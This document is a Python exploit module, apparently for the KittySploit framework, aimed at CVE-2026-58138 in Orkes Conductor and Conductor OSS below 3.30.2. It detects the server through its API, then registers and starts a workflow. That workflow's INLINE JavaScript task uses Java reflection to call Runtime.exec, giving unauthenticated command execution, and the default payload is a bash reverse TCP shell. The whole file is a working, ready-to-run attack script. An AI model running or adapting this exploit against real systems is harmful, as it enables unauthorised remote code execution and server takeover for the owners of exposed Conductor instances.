Orkes Conductor / Conductor OSS < 3.30.2 - Unauthenticated RCE (CVE-2026-58138)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-58138 — Orkes Conductor / Conductor OSS unauthenticated INLINE JavaScript RCE."""

from __future__ import annotations

import json
import re
import time
from typing import Any, Dict, Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client

CONDUCTOR_VULN_MIN = "3.21.21"
CONDUCTOR_PATCHED = "3.30.2"


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Orkes Conductor / Conductor OSS < 3.30.2 - Unauthenticated RCE (CVE-2026-58138)",
        "description": (
            "CVE-2026-58138: Conductor OSS and Orkes Conductor versions below 3.30.2 allow "
            "unauthenticated remote code execution by registering a workflow with a malicious "
            "INLINE JavaScript task that abuses unsandboxed GraalVM HostAccess.ALL for Java "
            "reflection and Runtime.exec()."
        ),
        "author": ["Mohammed Idrees Banyamer", "KittySploit Team"],
        "cve": ["CVE-2026-58138"],
        "references": [
            "https://github.com/conductor-oss/conductor",
            "https://orkes.io/",
            "https://www.cve.org/CVERecord?id=CVE-2026-58138",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": [Platform.UNIX, Platform.LINUX, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "conductor",
            "orkes",
            "netflix",
            "javascript",
            "graalvm",
            "unauthenticated",
            "rce",
            "cve-2026-58138",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["conductor"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/api/metadata/workflow"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "INLINE JavaScript task"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "scanner/http/conductor_cve_2026_58138_detect",
                    "scanner/http/netflix_conductor_version_detect",
                ],
            },
        },
    }

    port = OptPort(8080, "Conductor API port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    path = OptString("/", "Base path where Conductor API is exposed", required=False)
    command = OptString("", "OS command (overrides payload when set)", required=False)
    verify_cmd = OptString(
        "id; hostname",
        "Verification command when payload is nopayload",
        required=False,
        advanced=True,
    )
    poll_interval = OptFloat(1.0, "Seconds between workflow status polls", required=False, advanced=True)
    poll_attempts = OptInteger(8, "Maximum workflow status polls", required=False, advanced=True)

    @staticmethod
    def _parse_version(version: str) -> tuple[int, ...]:
        parts: list[int] = []
        for token in str(version or "").strip().split("."):
            digits = "".join(ch for ch in token if ch.isdigit())
            parts.append(int(digits) if digits else 0)
        return tuple(parts)

    @classmethod
    def _version_lt(cls, left: str, right: str) -> bool:
        a = cls._parse_version(left)
        b = cls._parse_version(right)
        length = max(len(a), len(b))
        for index in range(length):
            av = a[index] if index < len(a) else 0
            bv = b[index] if index < len(b) else 0
            if av < bv:
                return True
            if av > bv:
                return False
        return False

    @classmethod
    def _version_gte(cls, left: str, right: str) -> bool:
        return not cls._version_lt(left, right)

    @classmethod
    def _version_in_vuln_range(cls, version: str) -> bool:
        if not version:
            return False
        return (
            cls._version_gte(version, CONDUCTOR_VULN_MIN)
            and cls._version_lt(version, CONDUCTOR_PATCHED)
        )

    def _api_path(self, suffix: str) -> str:
        base = str(self.path or "/").strip() or "/"
        if not base.startswith("/"):
            base = f"/{base}"
        if base.endswith("/"):
            base = base[:-1]
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return suffix if base == "" else f"{base}{suffix}"

    def _json_headers(self) -> Dict[str, str]:
        return {
            "Content-Type": "application/json",
            "Accept": "application/json,text/plain,*/*",
        }

    def _resolve_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id; hostname").strip()

    @staticmethod
    def _js_rce(command: str) -> str:
        escaped = command.replace("\\", "\\\\").replace("'", "\\'")
        return (
            "var k=$.getClass().getClass();"
            "var S=k.getMethod('getName').getReturnType();"
            "var forName=k.getMethod('forName',S);"
            "var L=function(n){return forName.invoke(null,[n]);};"
            "var RT=L('java.lang.Runtime');"
            "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
            "var I=L('java.lang.Integer').getField('TYPE').get(null);"
            "var A=L('java.lang.reflect.Array');"
            "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
            "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
            f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{escaped}']);"
            "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
            "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
            "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
            "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
        )

    def _build_workflow_def(self, workflow_name: str, command: str) -> dict:
        return {
            "name": workflow_name,
            "version": 1,
            "schemaVersion": 2,
            "ownerEmail": "[email protected]",
            "tasks": [
                {
                    "name": "pwn",
                    "taskReferenceName": "pwn",
                    "type": "INLINE",
                    "inputParameters": {
                        "evaluatorType": "javascript",
                        "expression": self._js_rce(command),
                    },
                }
            ],
        }

    @staticmethod
    def _extract_version_from_body(body: str) -> Optional[str]:
        if not body:
            return None
        try:
            payload = json.loads(body)
        except Exception:
            payload = None

        if isinstance(payload, dict):
            for key in ("version", "buildVersion", "conductorVersion", "appVersion"):
                value = payload.get(key)
                if value:
                    return str(value).strip()
            for bucket in ("config", "build", "serverConfig", "system"):
                nested = payload.get(bucket)
                if isinstance(nested, dict):
                    for key in ("version", "buildVersion", "conductorVersion"):
                        value = nested.get(key)
                        if value:
                            return str(value).strip()

        match = re.search(
            r'"(?:version|buildVersion|conductorVersion)"\s*:\s*"([0-9]+(?:\.[0-9]+)*)"',
            body,
            re.IGNORECASE,
        )
        return match.group(1) if match else None

    def _probe_conductor(self) -> Dict[str, Any]:
        result: Dict[str, Any] = {"found": False, "version": None, "evidence": None}
        for probe_path in (
            "/api/admin/config",
            "/api/sys",
            "/api/metadata/workflow",
        ):
            response = self.http_request(
                method="GET",
                path=self._api_path(probe_path),
                headers={"Accept": "application/json,text/plain,*/*"},
                allow_redirects=True,
                timeout=15,
            )
            if not response:
                continue
            body = response.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in response.headers.items()).lower()
            if response.status_code not in (200, 401, 403, 405):
                continue
            if "conductor" not in body.lower() and "conductor" not in headers:
                if probe_path != "/api/metadata/workflow":
                    continue
            version = self._extract_version_from_body(body)
            result.update(
                {
                    "found": True,
                    "version": version,
                    "evidence": probe_path,
                }
            )
            if version:
                return result
        return result

    def _register_workflow(self, workflow_name: str, command: str) -> bool:
        response = self.http_request(
            method="POST",
            path=self._api_path("/api/metadata/workflow"),
            headers=self._json_headers(),
            data=json.dumps(self._build_workflow_def(workflow_name, command)),
            allow_redirects=False,
            timeout=30,
        )
        return bool(response and response.status_code in (200, 204))

    def _start_workflow(self, workflow_name: str) -> Optional[str]:
        response = self.http_request(
            method="POST",
            path=self._api_path(f"/api/workflow/{workflow_name}"),
            headers=self._json_headers(),
            data=json.dumps({}),
            allow_redirects=False,
            timeout=30,
        )
        if not response or response.status_code not in (200, 201, 202):
            return None

        body = (response.text or "").strip()
        if not body:
            return None
        try:
            parsed = response.json()
        except Exception:
            parsed = body
        if isinstance(parsed, str):
            return parsed.strip() or None
        if isinstance(parsed, dict):
            for key in ("workflowId", "id"):
                value = parsed.get(key)
                if value:
                    return str(value)
        return body.strip() or None

    def _extract_inline_output(self, workflow_info: dict) -> Optional[str]:
        for task in workflow_info.get("tasks") or []:
            if task.get("taskType") != "INLINE":
                continue
            result = (task.get("outputData") or {}).get("result")
            if result is not None:
                return str(result)
        return None

    def _poll_workflow(self, workflow_id: str) -> tuple[Optional[str], Optional[str]]:
        interval = float(self.poll_interval or 1.0)
        attempts = int(self.poll_attempts or 8)
        last_status = None

        for _ in range(max(1, attempts)):
            time.sleep(max(0.1, interval))
            response = self.http_request(
                method="GET",
                path=self._api_path(f"/api/workflow/{workflow_id}?includeTasks=true"),
                headers={"Accept": "application/json,text/plain,*/*"},
                allow_redirects=False,
                timeout=30,
            )
            if not response or response.status_code != 200:
                continue
            try:
                info = response.json()
            except Exception:
                continue

            last_status = str(info.get("status") or "")
            output = self._extract_inline_output(info)
            if output is not None:
                return output, last_status
            if last_status in {"COMPLETED", "FAILED", "TIMED_OUT", "TERMINATED"}:
                break

        return None, last_status

    def _trigger_rce(self, command: str) -> tuple[Optional[str], Optional[str]]:
        workflow_name = f"pwn_{int(time.time())}"
        print_status(f"Registering malicious workflow {workflow_name}...")
        if not self._register_workflow(workflow_name, command):
            print_error("Failed to register workflow definition")
            return None, None

        print_status("Starting workflow (no authentication required)...")
        workflow_id = self._start_workflow(workflow_name)
        if not workflow_id:
            print_error("Failed to start workflow")
            return None, None

        print_status(f"Workflow started (id={workflow_id}); polling task output...")
        return self._poll_workflow(workflow_id)

    def check(self):
        probe = self._probe_conductor()
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "Conductor API not detected",
                "confidence": "low",
            }

        version = probe.get("version")
        if version and not self._version_in_vuln_range(version):
            if self._version_lt(version, CONDUCTOR_VULN_MIN):
                reason = f"Conductor {version} is below affected range (>={CONDUCTOR_VULN_MIN})"
            else:
                reason = f"Conductor {version} >= {CONDUCTOR_PATCHED} (patched)"
            return {"vulnerable": False, "reason": reason, "confidence": "high"}

        token = self.random_text(8)
        output, status = self._trigger_rce(f"echo {token}")
        if output and token in output:
            return {
                "vulnerable": True,
                "reason": f"CVE-2026-58138 confirmed via INLINE task (status={status or 'unknown'})",
                "confidence": "confirmed",
            }

        if version and self._version_in_vuln_range(version):
            return {
                "vulnerable": True,
                "reason": (
                    f"Conductor {version} is in affected range "
                    f"[{CONDUCTOR_VULN_MIN}, {CONDUCTOR_PATCHED})"
                ),
                "confidence": "high",
            }

        if probe.get("found"):
            return {
                "vulnerable": True,
                "reason": "Conductor API reachable; active verification inconclusive",
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": "Unable to confirm CVE-2026-58138",
            "confidence": "low",
        }

    def run(self):
        try:
            print_status("CVE-2026-58138 — Conductor unauthenticated INLINE JavaScript RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            command = self._resolve_command()
            print_status(f"Executing command via malicious INLINE task...")
            output, status = self._trigger_rce(command)

            if output is not None:
                text = str(output).strip()
                if text:
                    print_success("Command output:")
                    print_info(text)
                else:
                    print_warning("INLINE task completed with empty output")
                self.vulnerable()
                return True

            if status:
                print_warning(f"No command output captured (workflow status={status})")
                print_info("If a reverse shell payload was used, verify handler connectivity")
                self.vulnerable()
                return True

            print_error("Exploitation failed — no workflow output observed")
            return False

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False